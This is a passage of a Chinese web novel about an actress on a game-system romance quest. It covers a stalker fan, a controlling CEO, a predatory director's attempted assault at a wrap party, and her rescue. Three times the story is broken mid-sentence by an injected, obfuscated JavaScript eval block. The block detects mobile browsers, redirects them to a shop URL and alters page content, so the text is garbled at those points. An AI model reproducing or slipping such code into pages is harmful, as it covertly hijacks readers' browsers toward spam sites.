第二天早上,尚知遥带周向晨去医院检查,确认伤口没伤到真皮层,只是需要定期换药。 从医院出来时,宋小棠发来消息,说私生饭被安保抓到了,已经报警,对方涉嫌非法入侵和故意伤害,正在做笔录。 尚知遥松了口气,看着身边的周向晨,心里有了个决定。 回到酒店后,她打开电脑,敲下一篇长文,标题是《致所有关心我的人:请给艺人一点私人空间,理性追星》 文中,她平静地描述了私生饭的骚扰行为,从车窗贴纸条到试图闯酒店房间,最后特意提到周向晨:“昨天凌晨,多亏向晨及时赶到,拦住了试图闯入的私生饭,他的手臂也因此受伤。在这里,我想对向晨说声谢谢,谢谢你一直以来的守护。也想对所有喜欢我的人说,你们的支持我很感激,但请不要用‘爱’的名义制造困扰。理性追星,尊重私人空间,才是对我最大的支持。” 她附上一张周向晨手臂包扎的照片,少年的脸打了厚码,只露出缠着纱布的手臂。 长文发布后,很快冲上热搜,#抵制私生饭##尚知遥感谢周向晨#两个词条半小时内爬进热搜前十,阅读量突破500万。 “遥姐!好多艺人都转发你的长文了!还有好多粉丝在下面留言支持你!”宋小棠拿着手机跑过来,语气兴奋。 尚知遥笑着点头,看向坐在旁边的周向晨。 他正盯着手机屏幕,嘴角有个忍不住的小小弧度。 看到尚知遥看他,他赶紧把手机收起来,有些不好意思地低下了头:“姐姐,谢谢你……提到我。” 尚知遥一愣,随后笑了笑,亲昵地摸了摸他鬓角的发丝:“笨蛋。” 周向晨闻言不知怎么了,从脸颊红到耳根,还用手不住地摸着自己的鬓角和耳朵,像被蜜蜂蛰了疼似的。 “好啦,去洗把脸。”尚知遥拍了拍他的肩膀,“一会儿霍总要来剧组,他肯定会问你伤口的事,别瞒着,老实说。” 提到霍景宴,周向晨的笑容瞬间淡了,捏着手机的手指紧了紧,小声说:“我知道了,姐姐。” 中午,霍景宴的黑色轿车准时停在剧组门口。 他刚下车,目光就扫过尚知遥和周向晨,最后落在周向晨的手臂上,眉头微不可察地皱了一下,却没先开口,反而等着尚知遥走过来。 “霍总,你来了,”尚知遥迎上去,语气自然,“私生饭已经被警方带走了,多亏了向晨昨天及时赶到。” 霍景宴的视线从周向晨的手臂上移开,落在尚知遥脸上,伸手帮她理了理被风吹乱的头发,动作带着亲热,却没看周向晨一眼:“辛苦你了,昨天没吓到吧?我让助理带了新的安保设备,一会儿让他们去酒店安装,连到我的手机,有动静我能第一时间知道。” 他的语气自然,仿佛周向晨只是个无关紧要的背景板。 周向晨站在旁边,看着霍景宴对尚知遥的亲昵动作,指甲掐进掌心,手臂上的伤口好像又开始疼了,却只能强忍着没说话。 “谢谢霍总,让你费心了,”尚知遥点点头,又侧身让了让,“向晨昨天伤得不轻,医生说要定期换药。” 霍景宴这才看向周向晨,眼神里没什么温度,甚至带着一丝不易察觉的审视,仿佛在看一个碍眼的物件:“伤口没大碍吧?年轻人有冲劲是好事,但也要注意安全,别到时候还要知遥反过来担心你。” 这话听着是关心,却带着明显的敲打,潜台词是“别给尚知遥添麻烦”。 周向晨攥紧了拳头,忍着心里的不舒服,低声说:“谢谢霍总关心,我没事,不会给遥姐添麻烦的。” “最好是这样,”霍景宴的语气淡了些,转头对助理说,“把东西拿过来。”助理递来两个箱子,霍景宴打开其中一个,里面是最新的安保设备:“这个给你酒店装,红外感应加自动报警,陌生人靠近会立刻通知我和安保。另一个是给剧组的,我安排了专业安保团队,以后他们负责你和剧组的安全。” 他说话时,全程看着尚知遥,仿佛周向晨根本不存在。 尚知遥能感觉到身边周向晨的情绪低落,刚想开口缓和,霍景宴却先一步对周向晨说:“你要是没别的事,就先回去吧,练习生的课程应该很紧张,别总在这里耽误时间。” 这话像根刺,扎得周向晨脸色发白。 他看着尚知遥,想说什么,却又怕让她为难,最后只能咬着唇说:“那我先回去了,姐姐,你注意安全,有事先给我打电话。” “嗯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648786|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路上小心,”尚知遥点点头,看着周向晨的背影消失在剧组门口,心里有些不是滋味。 等周向晨走后,霍景宴才漫不经心地开口,语气带着一丝嘲讽:“他对你倒是挺上心,可惜啊,年纪太小,不知道什么叫‘量力而行’。” 尚知遥愣了一下,没明白他的意思:“霍总,向晨只是担心我,没有别的意思。” “有没有别的意思,不重要,”霍景宴的眼神冷了些,伸手捏住她的下巴,让她看着自己,“重要的是,你清楚自己的位置。他那种小孩子的感情,幼稚得可笑,你不会真的放在心上吧?” 尚知遥的心里一沉,原来他看周向晨的眼神,不是审视,是不屑。 不屑于周向晨的痴情,也不屑于这种“毫无威胁”的竞争。她想反驳,却被霍景宴的眼神压了回去。 “你不用回答,”霍景宴松开手,语气又恢复了平时的平淡,“我不管你对他有没有心思,你只要记住,你是我的人,别让我失望。” 他的话像一道冰冷的界限,划在尚知遥和周向晨之间,也划在她和“自我”之间。 尚知遥看着霍景宴的侧脸,忽然觉得,这个男人的心里,从来没有“感情”,只有“所有物”——他不屑于周向晨的痴情,是因为他觉得那根本威胁不到自己;他不在乎自己对周向晨的态度,是因为他笃定自己逃不出他的掌控。 “我知道了,霍总,”尚知遥低下头,掩去眼底的情绪,“我们去看看拍摄场地吧。” 霍景宴没再说什么,跟着她走向拍摄场地。 一路上,他偶尔会点评几句场景布置,语气专业,却再也没提过周向晨,仿佛那个为尚知遥受伤的少年,只是个无关紧要的过客。 下午拍摄休息时,尚知遥第一时间拿出手机,查看周向晨发来的消息:“姐姐,我已经回基地了,你要是有任何事,一定要给我打电话,别自己扛着。” 她看着消息,手指在屏幕上敲了又删,最后只回复了一句:“嗯,你好好上课,别担心我。” 放下手机,她看到霍景宴站在不远处的监控室门口,正看着她。 四目相对时,他朝她招了招手,语气带着一丝不易察觉的温柔:“过来,给你带了生煎包,还热着。” 尚知遥走过去,接过他递来的纸袋,闻到熟悉的香味,心里却泛起一阵复杂的情绪。 霍景宴的温柔像毒药,带着致命的吸引力,却也藏着无法挣脱的掌控。 “怎么不吃?”霍景宴看着她发呆,伸手摸了摸她的额头,“不舒服?” “没有,就是有点累,”尚知遥摇摇头,拿起一个生煎包咬了一口,熟悉的味道在舌尖散开,却没了之前的香甜,“谢谢霍总,很好吃。” “好吃就多吃点,”霍景宴的眼神软了些,却没再说别的,只是陪着她站在那里,手里拿着一杯温热的咖啡。 夕阳西下,金色的余晖洒在剧组的帐篷上,给一切都镀上了一层温暖的光晕。 “霍总喝的这是焦糖拿铁吧?”尚知遥忽然开口,没等他说什么就一把夺过他手里的咖啡杯,“让我尝尝。” 霍景宴诧异地看着她张嘴咬住吸管的动作,一时间不知道该作何反应。 “嗯,不错,没想到霍总也喜欢喝这么甜的饮料。”尚知遥忽视他的反应,自顾自喝了好几口,最后把几乎空了的咖啡杯还给霍景宴。 霍景宴脸上终于有了点表情,是那种想说什么却不知道该怎么开口的无奈,俊朗的眉眼紧紧皱到了一起,须臾之后才开口。 “……以后不要这样了,大庭广众的,很失礼。”霍景宴随手把咖啡杯扔进了垃圾桶,“而且你喝咖啡的样子一点儿也不像她。” “知道啦。” 尚知遥无所谓地耸耸肩,她早就习惯了霍景宴在有关安柠的事上的死装样子,要不是还记得自己的攻略任务,她都想直接揭穿霍景宴。 那么放不下安柠,还找和她相似的人当替身?深情给谁看呢。 【系统提示:霍景宴好感上升2%,当前好感度71%。】 拍摄结束时,天已经黑了。霍景宴送她回酒店,下车前,他忽然开口:“明天我要去外地出差,大概三天回来,安保团队会全程跟着你,有事随时给我打电话。” “知道了,霍总,路上小心哦。”尚知遥点点头,推开车门想下车。 “等等,”霍景宴拉住她的手,眼神里带着一丝复杂的情绪,却很快又恢复了平淡,“别让我担心,尤其是……别让那个小孩子的事,影响你的状态。” 尚知遥的心里想笑,原来他还是在意的——不是在意她,是在意“他的所有物”有没有被别人“觊觎”。 她微笑着点头:“我知道了,霍总,不会让你失望的。” 回到酒店房间,尚知遥靠在门上,看着空荡荡的房间,忽然觉得很累。 她走到窗边,看着楼下的车水马龙,拿出手机,翻到周向晨的聊天界面,犹豫了很久,还是没再发消息。 霍景宴的好感度正在上升阶段,她没必要这个时候非要触他的霉头。 更何况,就算她不主动,周向晨也会自己贴上来的。 23. 第 23 章 《知己》剧组的杀青宴定在城郊的温泉度假酒店。 傍晚时分,夕阳把宴会厅的落地窗染成暖橙色,水晶灯折射出细碎的光,落在满桌的佳肴与觥筹交错间,热闹得让人几乎忘了拍摄三个月来的疲惫与风波。 尚知遥穿着一条香槟色的吊带长裙,裙摆缀着细碎的珍珠,刚走进宴会厅,就被制片人拉着寒暄。 “知遥啊,这次《知己》能顺利杀青,你功不可没,”制片人举着酒杯,笑得满脸红光,“后期我们会重点推你和程跃的CP,到时候热度肯定能再上一个台阶!” 尚知遥笑着应和,目光却不自觉地扫过人群。 程跃穿着一身黑色丝绒西装,正站在不远处和人说话,察觉到她的视线,转头朝她举了举杯,嘴角勾起一抹意味不明的笑。 自从上次“剧本修改争议”后,程跃对她的态度就变得格外微妙。 有时会在片场主动帮她递剧本,眼神里带着毫不掩饰的亲近;有时又会在采访里说些模棱两可的话,让媒体猜测她们“私下不和”。 甚至前几天拍摄最后一场对手戏时,程跃抱着她哭完,还在她耳边轻声说“知遥,只有你懂我”,语气暧昧得让她心头一跳。 “在看什么呢?”许淮的声音从身后传来,他手里拿着两杯果汁,递了一杯给尚知遥,“别总喝酒,果汁解腻,一会儿还有得忙。” 尚知遥接过果汁,指尖碰到杯壁的凉意,让她瞬间清醒了些:“许老师,你看程跃,她今天好像有点不一样。” 许淮顺着她的目光看去,程跃正好也朝这边看过来,两人的视线在空中短暂交汇,程跃又很快移开,端起酒杯喝了一口。 “她啊,”许淮叹了口气,声音压低了些,“之前因为资源的事,对公司有意见,后来又听说你和霍总的关系,心里大概更不平衡了。现在一会儿热一会儿冷,说不定是想借着CP热度,又怕真的和你绑太死,左右为难而已。” 尚知遥点点头,心里却还是觉得不对劲。她刚想再说点什么,就被程跃快步走过来打断:“知遥,我们好久没单独聊聊了,去那边露台怎么样?这里太吵了。” 没等尚知遥回应,程跃就伸手挽住她的胳膊,指尖带着微凉的温度,力道却不容拒绝。 尚知遥下意识想挣脱,却看到程跃眼底闪过一丝委屈:“怎么?你不愿意跟我单独待一会儿吗?还是说,你还在生我之前不懂事的气?” 周围已经有人注意到她们的互动,举着手机偷偷拍照。 尚知遥无奈,只能顺着她的力道往露台走,心里却警铃大作。 程跃这副样子,到底是在演给别人看,还是真的有别的心思? 露台的风带着傍晚的凉意,吹得尚知遥裙摆轻轻晃动。 程跃松开她的胳膊,靠在栏杆上,看着远处的夕阳,忽然开口:“知遥姐,你知道吗?当初试镜《知己》的时候,我一眼就看中了林薇这个角色,可最后导演却选了你。” 尚知遥愣了一下,没明白她为什么突然说这个:“程老师,角色选择是导演综合考虑的结果,而且你演得也很出彩,观众很喜欢。” “喜欢?”程跃笑了笑,语气里带着一丝自嘲,“他们喜欢的是角色的‘坏’,是她和林薇的‘拉扯感’,不是我程跃这个人。可你不一样,你有霍总撑腰,有许老师帮你打磨剧本,就算没有《知己》,你也能拿到更好的资源。” 尚知遥皱起眉,刚想反驳,程跃却突然转身,伸手抓住她的手腕,眼神灼热得吓人:“知遥姐,你说要是我也有像你一样勾引男人的本事,是不是就能不用再看别人的脸色?是不是就能……和你站在一起?” 手腕被抓得生疼,尚知遥用力甩开她的手,后退一步,拉开距离:“程老师,你喝醉了。我们只是同事,我希望你能认清这一点。” 程跃看着她警惕的样子,忽然笑了起来,笑声里带着说不出的落寞:“同事?是啊,只是同事。”她转身拿起放在栏杆上的酒杯,仰头喝了一口,“早点回去吧,别让别人等急了。” 尚知遥看着她的背影,心里满是疑惑,却也没再多说,转身走回宴会厅。 刚进门,就看到周向晨站在不远处,脸色阴沉地盯着露台的方向,眼神里带着她从未见过的阴狠。 看到她回来,周向晨快步走过来,语气带着压抑的怒意:“姐姐,你跟她在上面聊什么?她是不是对你做了什么?” “没什么,就是聊了聊拍摄的事,”尚知遥不想让他担心,也不想再提程跃的奇怪举动,“你怎么来了?不是说练习生基地有考核,来不了吗?” 周向晨的脸色缓和了些,伸手帮她理了理被风吹乱的头发,声音软了下来:“考核提前结束了,我跟老师请假赶过来的,就是想陪你参加杀青宴。刚才看到你跟程跃走那么近,还聊了那么久,我……” 他没说完,却红了眼眶。 尚知遥伸手拍了拍他的肩膀:“别胡思乱想,我没事。快进去吧,许老师还在等我们呢。” 周向晨点点头,却还是紧紧跟在她身边,像个护食的小兽,警惕地盯着周围的人,尤其是每当程跃的目光扫过来时,他的眼神就会瞬间变得冰冷。 接下来的几个小时,杀青宴的气氛越来越热烈。 导演挨个敬酒,制片人拉着演员们讨论后期宣传计划,程跃也恢复了平时的样子,和其他人说说笑笑,只是偶尔看向尚知遥时,眼神里还是带着一丝说不清道不明的复杂。 尚知遥被灌了不少酒,头晕乎乎的,只能靠在椅子上,由宋小棠帮她挡酒。 “遥姐,你少喝点,一会儿我送你回房间休息,”宋小棠扶着她的胳膊,小声说,“刚才霍总发微信问你什么时候结束,说他处理完工作就过来。” 尚知遥点点头,刚想说话,就看到一位头发花白的中年男人朝她走过来——是张导,业内德高望重的导演,这次《知己》的特邀监制,平时很少在剧组露面,今天却特意来参加杀青宴。 “知遥啊,”张导举着酒杯,脸上带着和蔼的笑,“早就听说你演技好,这次看了你的戏,果然名不虚传。来,陪张叔喝一杯,以后有机会,我们合作一把。” 尚知遥头晕得厉害,刚想推辞,宋小棠就抢先开口:“张导,不好意思,遥姐已经喝多了,不能再喝了,我替她喝吧。” 张导却摆了摆手,眼神不经意地扫过尚知遥的领口,语气带着一丝不容拒绝:“小宋啊,别不懂事,给我们点儿空间啊,哈哈!” 随后又拉过尚知遥的手腕,把她从宋小棠身边拉开:“知遥,你要是连这点面子都不给张叔,那以后可就不好相处了。” 尚知遥心里一紧,察觉到张导眼神里的异样,却又不好直接驳他的面子,只能硬着头皮端起酒杯,刚要喝,就被周向晨拦住了。 “张导,遥姐真的喝多了,我替她喝,”周向晨端过尚知遥手里的酒杯,仰头一饮而尽,语气带着一丝冷意,“以后要是有机会合作,再跟张导好好喝。” 张导的脸色沉了下来,却也没再说什么,转身走了。 周向晨看着他的背影,眼神里满是厌恶,转头对尚知遥说:“姐姐,以后离他远点,这个人名声不好,之前就有女演员说他借着选角的名义占便宜。” 尚知遥点点头,心里泛起一阵寒意。头晕得更厉害了,她靠在宋小棠身上,小声说:“小棠,我有点难受,我们先回房间吧。” 宋小棠扶着她起身,跟制片人打了招呼,就往酒店房间走。 周向晨想跟着,却被制片人拉住,说有宣传的事要跟他聊聊。 之前周向晨因为“保护尚知遥”上了热搜,制片人想借着他的热度,再炒一波“守护CP”的话题。 周向晨无奈,只能让宋小棠好好照顾尚知遥,等他处理完事情就过去。 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663914|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小棠扶着尚知遥,慢慢走出宴会厅,往客房区走。 一路上,尚知遥头晕得厉害,意识有些模糊,只觉得身边的人脚步很稳,身上的香味也很熟悉,就放心地靠在对方身上。 直到走到房间门口,她摸索着拿出房卡,刚要刷卡,却忽然闻到一股浓烈的烟味——宋小棠从不抽烟,她对烟味过敏,平时连二手烟都避之不及。 尚知遥瞬间清醒了大半,猛地抬头,却看到一张泛着恶心红晕的中年男人的脸。 是张导!他怎么会在这里?宋小棠呢? “张导?你怎么会……”尚知遥下意识想后退,却被张导抓住手腕,用力拽进怀里。张导身上的烟味和酒臭味混合在一起,刺鼻得让人作呕。 “知遥啊,别装了,”张导的声音带着油腻的笑意,手不安分地往她的腰上摸,“刚才在宴会上,你不就想跟我搞好关系吗?只要你陪我一晚,以后我手里的资源,随便你挑,比跟着霍总强多了。” “你放开我!”尚知遥用力挣扎,却被他抓得更紧,“宋小棠呢?你把她怎么样了?” “那个小助理啊,”张导嗤笑一声,“我让助理给她灌了点酒,现在估计在楼梯间睡着了。你就别指望她来救你了,乖乖听话,对你我都好。” 尚知遥的心脏剧烈跳动,恐惧像潮水一样淹没了她。 她看着张导那张令人作呕的脸,突然想起周向晨说的话——这个人果然不是什么好东西! 她用力咬了张导的手臂一口,趁着他吃痛松手的瞬间,转身想跑,却被张导抓住头发,狠狠拽了回来,头撞在墙上,疼得她眼前发黑。 “敬酒不吃吃罚酒!”张导的脸色变得狰狞,伸手就要撕她的裙子,“今天就算你喊破喉咙,也没人会来救你!” 就在这时,走廊尽头传来急促的脚步声,伴随着少年愤怒的嘶吼:“你他妈住手!放开她!” 是周向晨!尚知遥的眼泪瞬间掉了下来,她看到周向晨像疯了一样冲过来,一拳砸在张导的脸上。 张导疼得惨叫一声,松开手,踉跄着后退几步。周向晨趁机把尚知遥护在身后,眼神凶狠得像头受伤的狼:“你敢碰她一下试试!我今天废了你!” 张导捂着流血的鼻子,看着周向晨,又看了看周围——走廊里已经有几个路过的客人探头探脑,他知道再闹下去对自己没好处,恶狠狠地瞪了尚知遥一眼:“你给我等着!”说完,转身狼狈地跑了。 周向晨赶紧转身,扶住尚知遥,声音带着哭腔:“姐姐,你没事吧?他有没有对你做什么?哪里疼?” 尚知遥靠在他怀里,浑身发抖,眼泪止不住地掉:“向晨,我没事,你别担心……宋小棠,宋小棠还在楼梯间,我们快去救她。” 周向晨点点头,扶着尚知遥往楼梯间走,很快就看到宋小棠靠在墙角睡着,脸色有些苍白。 周向晨叫醒她,宋小棠迷迷糊糊地睁开眼,看到尚知遥,瞬间清醒了:“遥姐!你没事吧?刚才张导的助理给我递了杯果汁,我喝了之后就晕过去了,对不起,我没保护好你!” “不关你的事,是我们太大意了,”尚知遥拍了拍她的手,“先回房间吧,这里太危险了。” 三人刚走到房间门口,就看到一辆黑色的轿车停在不远处,霍景宴从车上下来,脸色阴沉得吓人。 看到尚知遥脸色苍白,头发凌乱,周向晨还护在她身边,霍景宴的眼神瞬间变得冰冷,快步走过来,一把推开周向晨,将尚知遥搂进怀里,语气带着压抑的怒意:“怎么回事?你脸上的伤是怎么来的?” 尚知遥靠在霍景宴怀里,闻到他身上熟悉的雪松味,紧绷的神经终于放松下来,眼泪掉得更凶了:“霍总,刚才张导……他想对我动手,还好向晨救了我。” 霍景宴的身体瞬间僵住,眼神里迸发出骇人的怒火,他转头看向周向晨,语气带着一丝不易察觉的审视:“你救了她?” 24. 第 24 章 周向晨站在一旁,看着霍景宴把尚知遥护在怀里,心里满是不甘,却还是点了点头:“是,我刚好赶过来,看到张导欺负遥姐,就动手打了他。” 就在这时,许淮也快步走了过来,他手里拿着一件外套,看到尚知遥的样子,脸色瞬间变了:“知遥,你没事吧?刚才听客房服务员说走廊里有人吵架,我就赶紧过来了。” 许淮想上前查看尚知遥的情况,却被霍景宴冷冷地拦住:“许编,这里没你的事,你先回去吧。” 许淮愣了一下,看着霍景宴护犊子的样子,又看了看周向晨不甘的眼神,最后落在尚知遥苍白的脸上,语气坚定:“霍总,知遥现在需要人照顾,事情发生在杀青宴上,我是《知己》的编剧,也是她的朋友,我必须要留下来。” 霍景宴的眼神更冷了,刚想说话,尚知遥却拉了拉他的衣角,声音带着哭腔:“霍总,别吵了,我想回房间休息。” 霍景宴看着她泛红的眼睛,心里的怒火瞬间被心疼取代,他没再理会许淮和周向晨,扶着尚知遥打开房门,把她带了进去。 周向晨想跟着进去,却被霍景宴冷冷地挡住:“你也回去,这里不需要你。” “我不回去!我要留下来照顾遥姐!”周向晨倔强地看着霍景宴,不肯退让。 “照顾她?”霍景宴嗤笑一声,语气带着浓浓的嘲讽,“你连自己都保护不好,还想保护她?如果不是你刚才离开她,她会遇到这种事吗?” 周向晨的脸色瞬间变得苍白,他张了张嘴,却反驳不了。 的确,刚才如果他没有被制片人拦住,而是一直跟着尚知遥,或许就不会发生这种事了。 许淮看着两人剑拔弩张的样子,又看了看房间里尚知遥落寞的背影,叹了口气,拉住周向晨:“向晨,先回去吧,让知遥好好休息,有什么事明天再说。” 周向晨看着房间紧闭的门,眼睛红了,却还是被许淮拉走了。 房间里,霍景宴扶着尚知遥坐在沙发上,转身去浴室拿毛巾。 尚知遥靠在沙发上,看着天花板,刚才的恐惧还没散去,浑身还在微微发抖。 霍景宴拿着热毛巾走过来,小心翼翼地帮她擦着脸,动作温柔得不像平时的他。 “疼吗?”霍景宴看着她额头上的红肿,语气带着心疼,“我已经让助理去查张导了,敢动我的人,我不会让他好过。” 尚知遥看着他,忽然觉得很委屈,眼泪又掉了下来:“霍总,刚才我好害怕,我以为……我以为要完蛋了。” 霍景宴的指尖顿了顿,热毛巾敷在额角的温度恰好驱散了些许寒意,他蹲下身,视线与尚知遥平齐,漆黑的眼眸里翻涌着复杂的情绪,有后怕,有怒意,还有一丝连他自己都没察觉的慌乱。 “不会有下次了,”他声音低沉,带着不容置疑的笃定,“从今天起,安保会24小时跟着你,张导那边我会处理,他再也别想出现在你面前。” 尚知遥吸了吸鼻子,眼泪却掉得更凶。 她不是不知道霍景宴的手段,可刚才在走廊里,他和周向晨剑拔弩张的样子,许淮欲言又止的担忧,像一张密不透风的网,把她困在中间,让她喘不过气。 “霍总,”她哽咽着开口,“你是不是觉得,我只会给你添麻烦?” 霍景宴的眉头皱了起来,伸手擦掉她脸颊的眼泪,动作带着惯有的强势,却又藏着一丝笨拙的温柔:“胡说什么?你是我的人,护着你是应该的。” 他没说“在乎你”,也没说“担心你”,只用“我的人”这个定义,划清了彼此的界限,也堵住了尚知遥想问的话。 就在这时,房门被轻轻敲响,许淮的声音从门外传来:“知遥,我把宋小棠送回她房间了,给你带了点醒酒汤,你喝点暖暖胃。” 霍景宴的脸色瞬间沉了下来,刚想开口拒绝,尚知遥却抢先说:“霍总,让许老师进来吧,他也是一片好意。” 霍景宴看了她一眼,没再说话,起身去开门。 许淮提着保温桶走进来,目光先落在尚知遥的额角,看到毛巾还敷在上面,才稍微放心,又看向霍景宴,语气平静:“醒酒汤是酒店厨房刚炖的,知遥喝了能舒服点。” 他把保温桶放在茶几上,打开盖子,浓郁的姜枣香味弥漫开来。 尚知遥确实觉得胃里空荡荡的,有些发寒,刚想伸手去拿勺子,霍景宴却先一步拿起碗,盛了一碗递到她面前,语气冷淡:“小心烫。” 许淮站在一旁,看着霍景宴笨拙地照顾尚知遥,眼神里闪过一丝复杂的情绪,却没多说什么,只是拿起刚才放在门口的碘伏和棉签,放在尚知遥手边:“等会儿喝完汤,记得给额角消消毒,别用手碰,容易感染。” “谢谢许老师,”尚知遥接过碗,小口喝着醒酒汤,温热的液体顺着喉咙滑下去,胃里舒服了不少,“今天真是麻烦你了。” “跟我客气什么,”许淮笑了笑,目光扫过霍景宴,“霍总,关于张导的事,我觉得还是报警比较好,他这种行为已经涉嫌猥亵,不能就这么算了,不然以后还会有其他人受害。” 霍景宴的动作顿了顿,眼神里闪过一丝嘲讽:“报警?把事情闹大,对知遥的名声有什么好处?你以为媒体会怎么写?‘尚知遥杀青宴遭导演骚扰’,到时候黑料满天飞,你负责吗?” 许淮的脸色变了变,语气也严肃起来:“霍总,你这是在包庇他!难道就因为怕影响名声,就要让这种人逍遥法外?知遥受到的伤害,难道不比名声重要?” “我怎么处理,不用你教,”霍景宴放下手里的勺子,眼神冷得像冰,“我会让张导付出代价,而且是让他永远翻不了身的代价,比报警有用得多。” 他在娱乐圈摸爬滚打这么多年,早就知道怎么用最隐蔽的方式,让一个人彻底消失在这个圈子里。 断他的资源,封他的人脉,让他从“德高望重的导演”,变成人人喊打的过街老鼠。 许淮还想反驳,尚知遥却开口了:“许老师,谢谢你的关心,我知道霍总会处理好的。今天太晚了,你也累了,早点回去休息吧。” 她不想再看到他们因为自己争执,也知道霍景宴的脾气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672956|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再争下去只会让事情更糟。 许淮看着尚知遥疲惫的脸色,终究还是没再说什么,只是点了点头:“那你好好休息,有事随时给我打电话。” 他转身离开前,又看了霍景宴一眼,眼神里带着一丝警告。 房门关上后,房间里又恢复了寂静。尚知遥喝完最后一口醒酒汤,把碗放在茶几上,靠在沙发上,闭上眼睛,不想再思考任何事。 霍景宴收拾好保温桶,坐在她旁边的沙发上,看着她苍白的侧脸,心里泛起一阵莫名的烦躁。 他习惯了掌控一切,习惯了所有人都围着他转,可面对尚知遥时,他却总是有些手足无措——看到她受委屈,他会生气;看到她依赖周向晨,他会嫉妒;看到她对许淮展露笑容,他会烦躁。 他一直告诉自己,尚知遥只是一个“替身”,是他用来填补安柠空缺的人,可不知不觉间,这个“替身”好像已经超出了他的掌控,甚至开始影响他的情绪。 “霍总,”尚知遥忽然睁开眼睛,看着他,“你是不是觉得,我和周向晨走得太近了?” 霍景宴的身体僵了一下,没想到她会突然问这个问题。他沉默了几秒,语气恢复了平时的冷淡:“你和谁走得近,是你的自由,但你要记住,你是我的人,别让我失望。” 尚知遥的心沉了下去,果然,他最在意的还是“所有物”的归属,而不是她的感受。 她没再说话,只是重新闭上眼睛,心里默默思索着。 或许,她真的该好好考虑一下,改变针对霍景宴的攻略方式了。 不知过了多久,尚知遥迷迷糊糊地睡着了,醒来时发现自己躺在酒店的大床上,身上盖着被子,霍景宴坐在床边的椅子上,手里拿着一份文件,似乎在处理工作。 看到她醒来,霍景宴放下文件,语气平淡:“醒了?感觉怎么样?要不要再睡一会儿?” “我没事,”尚知遥坐起身,揉了揉眼睛,“现在几点了?” “快凌晨两点了,”霍景宴看了看手表,“我已经让助理给你准备了早餐,一会儿送过来。张导那边我已经处理好了,他以后不会再出现在你面前。” 尚知遥点点头,没再追问他是怎么处理的,只是轻声说:“谢谢霍总。” 她神情中的疏离像是一根又尖又细的刺,深深扎进霍景宴的心里,不是很疼,只有在微风吹过的时候才会微微摇晃,带来细细密密的阵痛。 “怪我没有保护好你。”霍景宴皱着眉说道,“虽然现在说这个不合时宜,但……” “霍总。”尚知遥破天荒地打断了他,“既然不合时宜,就还不如一开始就别说出口。” 霍景宴被噎了一下,似乎是十分震惊她打断自己的举动。 尚知遥叹了一口气,恹恹地掀起被子翻了个身,背对着霍景宴,说道:“霍总,我好累,能让我自己待会儿么?” 霍景宴本还想再说些什么,可是面对她的背影,也只能无言地放下手里的东西。 他已经有许多年没有在一个人身上体会过“不知所措”这种感觉了。 25. 第 25 章 《知己》杀青后的第五天,尚知遥终于彻底卸下了连轴转的疲惫。 不用凌晨五点爬起来化妆,不用对着剧本反复抠台词,不用应付片场的各种应酬。 只可惜这份清闲持续没多久,系统无情的提示声就在她脑海里响了起来。 【检测到当前三位男主好感度:霍景宴71%(停滞)、周向晨65%(缓慢上升)、许淮48%(停滞);许淮攻略进度35%,为最低值,建议宿主通过‘深度情感互动’主动推进,避免进度归零影响总任务评分。】 尚知遥听完挑了挑眉,没想到许淮的好感度居然这么低。 自从杀青宴上和霍景宴闹僵,两人就没再联系过。 她没了之前琢磨着怎么讨好他的心思,霍景宴也没像以前那样主动发消息“查岗”。 周向晨忙着出道前的封闭训练,每天只能在深夜发几条明显听得出疲惫的语音,说“姐姐我今天又进步了”“姐姐我好想你”。 唯独许淮,自从上次聊过新剧本的构思后,就没再过多交集,两人的关系始终停留在“合作过的同事”层面。 系统的警告还在脑海中闪烁:【宿主需注意,许淮好感度若持续两周无增长,将触发‘攻略难度升级’机制,后续需完成更高难度任务才能提升进度。】 尚知遥叹了口气,点开和许淮的聊天界面。 最后一条消息是三天前,许淮发了张他在旧货市场淘到的老相机照片,配文“新剧本女主的‘老伙计’,镜头还能用,就是得好好擦一擦”。 她盯着那张照片看了半分钟,终于想出个自然的理由,编辑消息时反复调整语气,怕显得太刻意:“许老师,您说的新剧本是关于女摄影师的吧?我昨天刷到一篇推文,说城郊的青溪老镇还保留着好几家旧照相馆,甚至有能用的暗房,说不定能找些角色灵感,您最近有空的话,要不要一起去看看?” 消息发出去的瞬间,她就把手机扔在一边,假装看电视,耳朵却不自觉地留意着提示音。 没想到才过了一分多钟,手机就震动了:“太巧了!我正想找时间去青溪老镇踩点,明天早上九点我在你酒店楼下等你?咱们早点去,避开游客,还能跟老照相馆的老板多聊几句。” 尚知遥看着“太巧了”三个字,心里的石头落了地。 